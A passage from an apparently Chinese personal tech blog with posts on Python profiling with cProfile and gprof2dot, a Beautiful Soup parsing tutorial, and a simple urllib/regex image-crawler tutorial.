<span class="n">test1</span><span class="p">()</span>
<span class="n">test2</span><span class="p">()</span>
<span class="n">test3</span><span class="p">()</span>
</code></pre></div></div>
<p>使用方式如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ codewars python3 <span class="nt">-m</span> cProfile xingneng.py
20132541 <span class="k">function </span>calls <span class="o">(</span>7 primitive calls<span class="o">)</span> <span class="k">in </span>5.947 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno<span class="o">(</span><span class="k">function</span><span class="o">)</span>
20132537/3 5.947 0.000 5.947 1.982 xingneng.py:1<span class="o">(</span><lambda><span class="o">)</span>
1 0.000 0.000 5.947 5.947 xingneng.py:1<span class="o">(</span><module><span class="o">)</span>
1 0.000 0.000 5.947 5.947 xingneng.py:4<span class="o">(</span><span class="nb">test</span><span class="o">)</span>
1 0.000 0.000 5.947 5.947 <span class="o">{</span>built-in method builtins.exec<span class="o">}</span>
1 0.000 0.000 0.000 0.000 <span class="o">{</span>method <span class="s1">'disable'</span> of <span class="s1">'_lsprof.Profiler'</span> objects<span class="o">}</span>
</code></pre></div></div>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ codewars python3 <span class="nt">-m</span> profile xingneng.py
20132544 <span class="k">function </span>calls <span class="o">(</span>10 primitive calls<span class="o">)</span> <span class="k">in </span>46.235 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno<span class="o">(</span><span class="k">function</span><span class="o">)</span>
1 0.000 0.000 46.234 46.234 :0<span class="o">(</span><span class="nb">exec</span><span class="o">)</span>
1 0.001 0.001 0.001 0.001 :0<span class="o">(</span>setprofile<span class="o">)</span>
1 0.000 0.000 46.235 46.235 profile:0<span class="o">(</span><code object <module> at 0x106e87810, file <span class="s2">"xingneng.py"</span>, line 1><span class="o">)</span>
0 0.000 0.000 profile:0<span class="o">(</span>profiler<span class="o">)</span>
20132537/3 46.234 0.000 46.234 15.411 xingneng.py:1<span class="o">(</span><lambda><span class="o">)</span>
1 0.000 0.000 46.234 46.234 xingneng.py:1<span class="o">(</span><module><span class="o">)</span>
1 0.000 0.000 42.455 42.455 xingneng.py:12<span class="o">(</span>test3<span class="o">)</span>
1 0.000 0.000 0.033 0.033 xingneng.py:4<span class="o">(</span>test1<span class="o">)</span>
1 0.000 0.000 3.746 3.746 xingneng.py:8<span class="o">(</span>test2<span class="o">)</span>
</code></pre></div></div>
<p>可以看到每个函数的具体消耗时间. <b>此处有个问题, 为毛使用 <code>profile</code> 会这么慢?</b></p>
<h2 id="2-图形化展示">2. 图形化展示</h2>
<p>调优自己的代码可以在 log 中打印分析结果, 不过还是图像比较直观, 可以借助 <a href="https://github.com/jrfonseca/gprof2dot">gprof2dot</a>, 可以看到调用次数, 占用时间和百分比, 简直6到家了~</p>
<h3 id="21-安装">2.1 安装</h3>
<ul>
<li>Mac</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nb">install </span>gprof2dot
</code></pre></div></div>
<ul>
<li>Debian/Ubuntu users</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt-get <span class="nb">install </span>python graphviz
</code></pre></div></div>
<h3 id="22-使用">2.2 使用</h3>
<p>比如我将 <code>cProfile</code> 执行后的性能分析文件, 渲染成图片:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">codewars</span> <span class="n">python3</span> <span class="o">-</span><span class="n">m</span> <span class="n">cProfile</span> <span class="o">-</span><span class="n">o</span> <span class="n">output</span><span class="p">.</span><span class="n">pstat</span> <span class="n">xingneng</span><span class="p">.</span><span class="n">py</span>
<span class="err">➜</span> <span class="n">codewars</span> <span class="n">gprof2dot</span> <span class="o">-</span><span class="n">f</span> <span class="n">pstats</span> <span class="n">output</span><span class="p">.</span><span class="n">pstat</span> <span class="o">|</span> <span class="n">dot</span> <span class="o">-</span><span class="n">Tpng</span> <span class="o">-</span><span class="n">o</span> <span class="n">output</span><span class="p">.</span><span class="n">png</span>
</code></pre></div></div>
<p>结果如下:</p>
<p><img src="https://os.alipayobjects.com/rmsportal/qRFFRfDlRHnTnHP.png" alt="" /></p>
<p>其他好玩的绘图用法请看<a href="https://github.com/jrfonseca/gprof2dot">文档</a></p>
<h2 id="参考文档">参考文档</h2>
<ol>
<li><a href="https://www.huyng.com/posts/python-performance-analysis">A guide to analyzing Python performance</a></li>
<li><a href="https://github.com/jrfonseca/gprof2dot">gprof2dot</a></li>
</ol>
Python 爬虫解析器之 Beautiful Soup
2016-02-26T00:00:00+00:00
http://fish267.github.io/2016/02/26/Beautiful-Soup
<p><a href="https://en.wikipedia.org/wiki/Beautiful_Soup">Beautiful Soup</a> 是 html/xml 的 python 解析器, 可以定位 DOM 元素信息.</p>
<p>该工具在<a href="http://www.atatech.org/articles/48415">爬虫阶段</a> 中, 处于<b>解析网页</b>阶段, 可以简化正则表达式, 简单示例:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> from bs4 import BeautifulSoup as BS
<span class="o">>>></span> from urllib.request import urlopen
<span class="o">>>></span> soup <span class="o">=</span> BS<span class="o">(</span>urlopen<span class="o">(</span><span class="s1">'https://www.alipay.com/'</span><span class="o">))</span>
<span class="o">>>></span> soup.title
<title>支付宝 知托付!</title>
</code></pre></div></div>
<h2 id="1-安装">1. 安装</h2>
<h3 id="pip-安装">pip 安装</h3>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip <span class="nb">install </span>beautifulsoup4
</code></pre></div></div>
<!--more-->
<h3 id="源码安装">源码安装</h3>
<p>如果没有 <code>easy_install</code> 和 <code>pip</code>, 需要<a href="http://www.crummy.com/software/BeautifulSoup/bs4/download/4.0/">下载源码</a>, 使用 <code>setup.py</code> 来安装.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">python3</span> <span class="n">setup</span><span class="p">.</span><span class="n">py</span> <span class="n">install</span>
</code></pre></div></div>
<h2 id="2-使用">2. 使用</h2>
<p>将网页源码传入 <code>BeautifulSoup</code>的构造函数, 就能使用该工具的各类方法, 如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span> <span class="k">as</span> <span class="n">BS</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BS</span><span class="p">(</span><span class="s">'<html><p>Google</p></html>'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">p</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="c1"># Google
</span></code></pre></div></div>
<h3 id="21-解析tag">2.1 解析Tag</h3>
<p>BeautifulSoup 将 html 代码解析成树状结构, 每个节点都是 Tag 对象, 具有 name 以及 class 等属性.</p>
<p>尖括号围起来的就是 Tag, 比如 <code>div a p b meta head body</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">soup</span> <span class="o">=</span> <span class="n">BS</span><span class="p">(</span><span class="s">"<div id='soup'><p class='super'>Hello Google!</p></div>"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">p</span><span class="p">))</span>
<span class="c1"># <class 'bs4.element.Tag'>
</span><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">p</span><span class="p">)</span>
<span class="c1"># <p class="super">Hello Google!</p>
</span><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">p</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="c1"># 'p'
</span><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">div</span><span class="p">)</span>
<span class="c1"># <div id="soup"><p class="super">Hello Google!</p></div>
</span>
<span class="c1"># 每个 Tag 有部分属性, 比如 class stype type 等, tag['attribute']来调用
</span><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">p</span><span class="p">[</span><span class="s">'class'</span><span class="p">])</span>
<span class="c1"># ['super']
</span><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">div</span><span class="p">[</span><span class="s">'id'</span><span class="p">])</span>
<span class="c1"># 'soup'
</span></code></pre></div></div>
<h3 id="22-find_all-过滤器">2.2 find_all 过滤器</h3>
<p><code>soup.a</code>只能获取到文档树第一个超链接 tag, 如果需要检索出同类型的 tag, 使用 <code>find_all</code> 方法搞定.</p>
<p><code>find_all</code> 作为 BeautifulSoup 的过滤器, 是使用最为频繁的方法, 以至于该方法都不用写了, <code>soup.find_all("div")</code> 和 <code>soup("div")</code> 作用一样一样的. 下面仔细说明一下该方法的用法:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">soup</span> <span class="o">=</span> <span class="n">BS</span><span class="p">(</span><span class="s">'''<html><a href='alipay.com'>alipay</a> <div> <a href='google.com'>google</a></div></html>'''</span><span class="p">,</span> <span class="s">'html.parser'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'a'</span><span class="p">))</span>
<span class="c1"># [<a href="alipay.com">alipay</a>, <a href="google.com">google</a>]
</span></code></pre></div></div>
<h4 id="22-过滤-tag">2.2 过滤 Tag</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">find_all</span><span class="p">(</span> <span class="n">name</span> <span class="p">,</span> <span class="n">attrs</span> <span class="p">,</span> <span class="n">recursive</span> <span class="p">,</span> <span class="n">text</span> <span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span> <span class="p">)</span>
</code></pre></div></div>
<p>传入字符串或者字符串数组, 作为 Tag 的名字来搜索该 Tag</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">soup</span> <span class="o">=</span> <span class="n">BS</span><span class="p">(</span><span class="s">'''<html><a href='alipay.com'>alipay</a>
<div> <a href='google.com'>google</a></div>
<b class='xx'>yahoo</b>
<h2 id='h2'>shadowsocks</h2>
</html>'''</span><span class="p">,</span>
<span class="s">'html.parser'</span><span class="p">)</span>
</code></pre></div></div>
<p>入参为 tag.name</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'a'</span><span class="p">)</span>
<span class="c1"># [<a href="alipay.com">alipay</a>, <a href="google.com">google</a>]
</span></code></pre></div></div>
<p>入参为字符串数组</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">([</span><span class="s">'a'</span><span class="p">,</span> <span class="s">'div'</span><span class="p">]))</span>
<span class="c1"># [<a href="alipay.com">alipay</a>, <div> <a href="google.com">google</a></div>, <a href="google.com">google</a>]
</span></code></pre></div></div>
<p>入参 (tag.name, class)</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 查找 class 为 xx, 类型为 <b> 的 Tag
</span><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'b'</span><span class="p">,</span> <span class="s">'xx'</span><span class="p">)</span>
<span class="c1"># [<b class="xx">yahoo</b>]
</span></code></pre></div></div>
<p>根据 id 查找</p>
<p>id 可以替换成 href, style, text, class_(注意有下划线, 防止和关键字冲突)</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="nb">id</span><span class="o">=</span><span class="s">'hh'</span><span class="p">))</span>
<span class="c1"># [<h2 id='h2'>shadowsocks</h2>]
</span></code></pre></div></div>
<p>支持正则</p>
<p>如果传入正则表达式作为参数,Beautiful Soup会通过正则表达式的 match() 来匹配内容, 简直爽爆了</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span>
<span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="s">"^b"</span><span class="p">)):</span>
<span class="k">print</span><span class="p">(</span><span class="n">tag</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="c1"># body
# b
</span>
<span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="s">"t"</span><span class="p">)):</span>
<span class="k">print</span><span class="p">(</span><span class="n">tag</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="c1"># html
# title
</span></code></pre></div></div>
<p>再高级一点, 入参可以直接传入个函数, 不深究了.</p>
<h3 id="23-css-选择器-select">2.3 CSS 选择器 select</h3>
<p>BeautifulSoup 还支持 <a href="http://www.w3school.com.cn/css/css_selector_type.asp">CSS 选择器</a>, 对于 CSS 玩的溜的人很容易掌握元素定位.</p>
<p>简单举几个例子, 具体使用, 还是以 <code>find_all</code> 为主.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">html_doc</span> <span class="o">=</span> <span class="s">"""
<html><head><title>The Dormouse's story</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>
<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>
<p class="story">...</p>
"""</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BS</span><span class="p">(</span><span class="n">html_doc</span><span class="p">,</span> <span class="s">'html.parser'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">select</span><span class="p">(</span><span class="s">'title'</span><span class="p">))</span>
<span class="c1"># [<title>The Dormouse's story</title>]
</span>
</code></pre></div></div>
<p>根据子标签嵌套查找, 使用 tag.name > tag1.name > tag2.name, 注意留着空格</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">select</span><span class="p">(</span><span class="s">'body > p > b'</span><span class="p">))</span>
<span class="c1"># [<b>The Dormouse's story</b>]
</span></code></pre></div></div>
<p>根据 CSS 类名查找</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">select</span><span class="p">(</span><span class="s">'sister'</span><span class="p">))</span>
<span class="c1"># [<a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>, <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>, <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>]
</span></code></pre></div></div>
<p>根据 id 来过滤</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="n">soup</span><span class="p">.</span><span class="n">select</span><span class="p">(</span><span class="s">'#link1'</span><span class="p">))</span>
<span class="c1"># [<a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>]
</span></code></pre></div></div>
<h2 id="参考资料">参考资料</h2>
<ol>
<li>
<p><a href="http://www.crummy.com/software/BeautifulSoup/bs4/doc/index.html">官方文档</a></p>
</li>
<li>
<p><a href="http://www.atatech.org/articles/48415">简单 Python 爬虫</a></p>
</li>
</ol>
<h2 id="end">END</h2>
Python 简单爬虫
2016-01-26T00:00:00+00:00
http://fish267.github.io/2016/01/26/python-crawl-1
<h1 id="什么是爬虫">什么是爬虫</h1>
<p><br />
<a href="https://en.wikipedia.org/wiki/Web_crawler">爬虫</a>指的系统性抓取网络页面的网络机器人。原理图如下:</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/d/df/WebCrawlerArchitecture.svg" alt="crawler" /></p>
<p>上图涉及了爬虫的任务调度控制,多线程,存储机制等,本文不会涉及。</p>
<!--more-->
<p>我们从最简单的故事谈起,当你浏览一个网站时, 发现上面的图片比较有意思,会右键保存下来,当人为操作过多时, 就会想办法自动化实现。</p>
<p>首先是图片的保存, 我们知道直接使用linux 命令 <code>curl -O http://img-url</code> 就可以下载图片;<br />
那么如何获取图片地址呢, 很明显图片的链接地址存放在页面的源码中, <code> command + u </code> 就可以查看到页面的 source code, <code> curl http://site-url </code> 能获取到页面源码,
图片地址一般的格式为 <code> <img src="http://xx.jpg" /></img> </code>, 很容易就能筛选出来。</p>
<p>上面分为三个部分, 获取页面代码, 解析页面代码, 存储&&展示。因此, 本人对爬虫的理解如下:</p>
<ul>
<li>打开网页</li>
<li>解析网页</li>
<li>重复上两步,将数据保存下来</li>
</ul>
<p>回到最开始的爬虫原理图, 在大规模网页爬取时,考虑到性能问题,会引入多线程等集群化抓取, 比如<a href="https://github.com/nvie/rq">rq</a> ; 已经爬过的页面不能从复爬,考虑到去重复问题, 会引入个 hash 或者更高级的 <a href="https://en.wikipedia.org/wiki/Bloom_filter">Bloom Filter</a>; 数据的保存和抽取,丢到 MogoDB 中。 这样上图中的内容都包括了。</p>
<h1 id="举个例子">举个例子</h1>
<p>不忘初衷,以爬<a href="http://www.meizitu.com">妹子图</a> 为例,简单说明一下简单爬虫的需要用到的知识。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">urllib.request</span> <span class="kn">import</span> <span class="n">urlopen</span><span class="p">,</span> <span class="n">urlretrieve</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">get_girls</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
<span class="n">page_source</span> <span class="o">=</span> <span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="s">'GBK'</span><span class="p">)</span>
<span class="n">pattern</span> <span class="o">=</span> <span class="s">r'<img alt="\S+" src="(\S+)" /><br />'</span>
<span class="n">img_urls</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">page_source</span><span class="p">)</span>
<span class="k">for</span> <span class="n">img_url</span> <span class="ow">in</span> <span class="n">img_urls</span><span class="p">:</span>
<span class="n">img_name</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">path</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="n">os</span><span class="p">.</span><span class="n">sep</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span> <span class="o">+</span> <span class="s">'.jpg'</span>
<span class="n">urlretrieve</span><span class="p">(</span><span class="n">img_url</span><span class="p">,</span> <span class="n">filename</span><span class="o">=</span><span class="n">img_name</span><span class="p">)</span>
<span class="n">get_girls</span><span class="p">(</span><span class="s">'http://www.meizitu.com/a/5284.html'</span><span class="p">)</span></code></pre></figure>
<p>函数 <code>get_girls</code> 里面, 使用到了 <code>urllib</code> 与 <code>re</code> 正则库, 稍后介绍, 执行过程如代码所述:</p>
<ol>
<li><code>urlopen()</code> 将页面源码拉下来</li>
<li><code>re.findall(pattern, source)</code> 匹配到图片地址</li>
<li><code> urlretrieve()</code> 下载到本地</li>
</ol>
<p>随便输入几个地址执行下:
<img src="https://os.alipayobjects.com/rmsportal/xkqpJcaqJsWxvYI.png" alt="girls" /></p>
<p>很简单有趣吧~ 如果只是获取到图片地址,可直接在交互命令行搞</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> url = 'http://www.meizitu.com/a/5284.html'
>>> page_source = str(urlopen(url).read())
>>> img_urls = re.findall(r'<img alt="\S+" src="(\S+)" /><br />', page_source)
>>> img_urls
['http://pic.meizitu.com/wp-content/uploads/2016a/01/21/01.jpg', 'http://pic.meizitu.com/wp-content/uploads/2016a/01/21/02.jpg', 'http://pic.meizitu.com/wp-content/uploads/2016a/01/21/03.jpg', 'http://pic.meizitu.com/wp-content/uploads/2016a/01/21/04.jpg', 'http://pic.meizitu.com/wp-content/uploads/2016a/01/21/05.jpg', 'http://pic.meizitu.com/wp-content/uploads/2016a/01/21/06.jpg', 'http://pic.meizitu.com/wp-content/uploads/2016a/01/21/07.jpg']
</code></pre></div></div>
<p>页面源码拉取, 解析html, 获取数据,以上就是简单 Python 爬虫介绍。针对解析这一部分,有很多开源的库可以玩,非常有意思~</p>
<h1 id="python-爬虫基本库">Python 爬虫基本库</h1>
<h2 id="python-urllib">Python urllib</h2>
<p>urllib 库是 python Http 协议的一个封装, 爬虫用到的网络请求操作, 在<code> urllib.requet </code> 中。详情用法看<a href="https://docs.python.org/3/library/urllib.request.html">文档</a>, 常见的简单用法如下:</p>
<p>读取网页 URL 可以是本地文件, ftp 地址等</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">urllib.request</span> <span class="kn">import</span> <span class="n">urlopen</span><span class="p">,</span> <span class="n">urlretrieve</span><span class="p">,</span> <span class="n">Request</span><span class="p">,</span> <span class="n">HTTPBasicAuthHandler</span><span class="p">,</span> <span class="n">build_opener</span><span class="p">,</span> <span class="n">install_opener</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">urlopen</span><span class="p">(</span><span class="s">'https://www.alipay.com/'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">100</span><span class="p">))</span>
<span class="c1"># 指定编码
</span><span class="k">with</span> <span class="n">urlopen</span><span class="p">(</span><span class="s">'https://www.alipay.com/'</span><span class="p">)</span> <span class="k">as</span> <span class="n">res</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">300</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span></code></pre></figure>
<p>请求 CGI 端口</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">req</span> <span class="o">=</span> <span class="n">Request</span><span class="p">(</span><span class="n">url</span><span class="o">=</span><span class="s">'http://staff.washington.edu/corey/info.cgi'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>
<span class="k">with</span> <span class="n">urlopen</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span></code></pre></figure>
<p>官方文档给出的基本 Http 验证</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1"># Create an OpenerDirector with support for Basic HTTP Authentication...
</span><span class="n">auth_handler</span> <span class="o">=</span> <span class="n">HTTPBasicAuthHandler</span><span class="p">()</span>
<span class="n">auth_handler</span><span class="p">.</span><span class="n">add_password</span><span class="p">(</span><span class="n">realm</span><span class="o">=</span><span class="s">'PDQ Application'</span><span class="p">,</span>
<span class="n">uri</span><span class="o">=</span><span class="s">'https://mahler:8092/site-updates.py'</span><span class="p">,</span>
<span class="n">user</span><span class="o">=</span><span class="s">'klem'</span><span class="p">,</span>
<span class="n">passwd</span><span class="o">=</span><span class="s">'kadidd!ehopper'</span><span class="p">)</span>
<span class="n">opener</span> <span class="o">=</span> <span class="n">build_opener</span><span class="p">(</span><span class="n">auth_handler</span><span class="p">)</span>
<span class="c1"># ...and install it globally so it can be used with urlopen.
</span><span class="n">install_opener</span><span class="p">(</span><span class="n">opener</span><span class="p">)</span>
<span class="n">urlopen</span><span class="p">(</span><span class="s">'http://www.example.com/login.html'</span><span class="p">)</span></code></pre></figure>
<p>使用 代理方式验证请求</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">proxy_handler</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">ProxyHandler</span><span class="p">({</span><span class="s">'http'</span><span class="p">:</span> <span class="s">'http://www.example.com:3128/'</span><span class="p">})</span>
<span class="n">proxy_auth_handler</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">ProxyBasicAuthHandler</span><span class="p">()</span>
<span class="n">proxy_auth_handler</span><span class="p">.</span><span class="n">add_password</span><span class="p">(</span><span class="s">'realm'</span><span class="p">,</span> <span class="s">'host'</span><span class="p">,</span> <span class="s">'username'</span><span class="p">,</span> <span class="s">'password'</span><span class="p">)</span>
<span class="n">opener</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">build_opener</span><span class="p">(</span><span class="n">proxy_handler</span><span class="p">,</span> <span class="n">proxy_auth_handler</span><span class="p">)</span>
<span class="c1"># This time, rather than install the OpenerDirector, we use it directly:
</span><span class="n">opener</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">'http://www.example.com/login.html'</span><span class="p">)</span></code></pre></figure>
<p>保存到本地</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">urlretrieve</span><span class="p">(</span><span class="s">'https://alipay.com'</span><span class="p">,</span> <span class="s">'/tmp/index.html'</span><span class="p">)</span></code></pre></figure>
<h2 id="python-正则">Python 正则</h2>
<p>爬虫的第二个阶段, 用正则解析源代码。 正则语法很有意思, 写多了就不利于理解, 因此爬虫的解析库发展的多种多样, 基本原理还是基于 re 库。 具体的使用, 还是用 DOM 解析库比较方便, 当没辙时, 不得不回到正则大法~</p>
<p><code> re.search re.match re.findall </code> 的基本使用如下, 详细的使用可以看看<a href="http://www.cnblogs.com/huxi/archive/2010/07/04/1771073.html">Python正则表达式指南</a></p>
<h3 id="refindall">re.findall</h3>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">re</span>
<span class="n">relink</span> <span class="o">=</span> <span class="s">'<a href="(.*)">(.*)</a>'</span>
<span class="n">info</span> <span class="o">=</span> <span class="s">'<a href="http://www.google.com">google</a>'</span>
<span class="n">cinfo</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">relink</span><span class="p">,</span> <span class="n">info</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">cinfo</span><span class="p">)</span>
<span class="c1"># output: [('http://www.google.com', 'google')]</span></code></pre></figure>
<h3 id="rematch">re.match</h3>
<p>尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match()
就返回none。。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">line</span> <span class="o">=</span> <span class="s">"Google are much better than baidu."</span>
<span class="n">matchObj</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="s">r'(.*) are (.*?) .*'</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">M</span> <span class="o">|</span> <span class="n">re</span><span class="p">.</span><span class="n">I</span><span class="p">)</span>
<span class="k">if</span> <span class="n">matchObj</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"matchObj.group() : "</span><span class="p">,</span> <span class="n">matchObj</span><span class="p">.</span><span class="n">group</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="s">"matchObj.group(1) : "</span><span class="p">,</span> <span class="n">matchObj</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"matchObj.group(2) : "</span><span class="p">,</span> <span class="n">matchObj</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"No match!!"</span><span class="p">)</span>
<span class="c1"># [('http://www.google.com', 'google')]
# matchObj.group() : Google are much better than baidu.
# matchObj.group(1) : Google
# matchObj.group(2) : much</span></code></pre></figure>
<h3 id="research">re.search</h3>
<p>re.match只匹配字符串的开始,如果字符串开始不符合正则表达式,则匹配失败,函数返回None;而re.search匹配整个字符串,直到找到一个匹配。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">matchObj</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="s">r'Gogle'</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">M</span> <span class="o">|</span> <span class="n">re</span><span class="p">.</span><span class="n">I</span><span class="p">)</span>
<span class="k">if</span> <span class="n">matchObj</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"match --> matchObj.group() : "</span><span class="p">,</span> <span class="n">matchObj</span><span class="p">.</span><span class="n">group</span><span class="p">())</span>
<span class="k">else</span><span class="p">:</span>
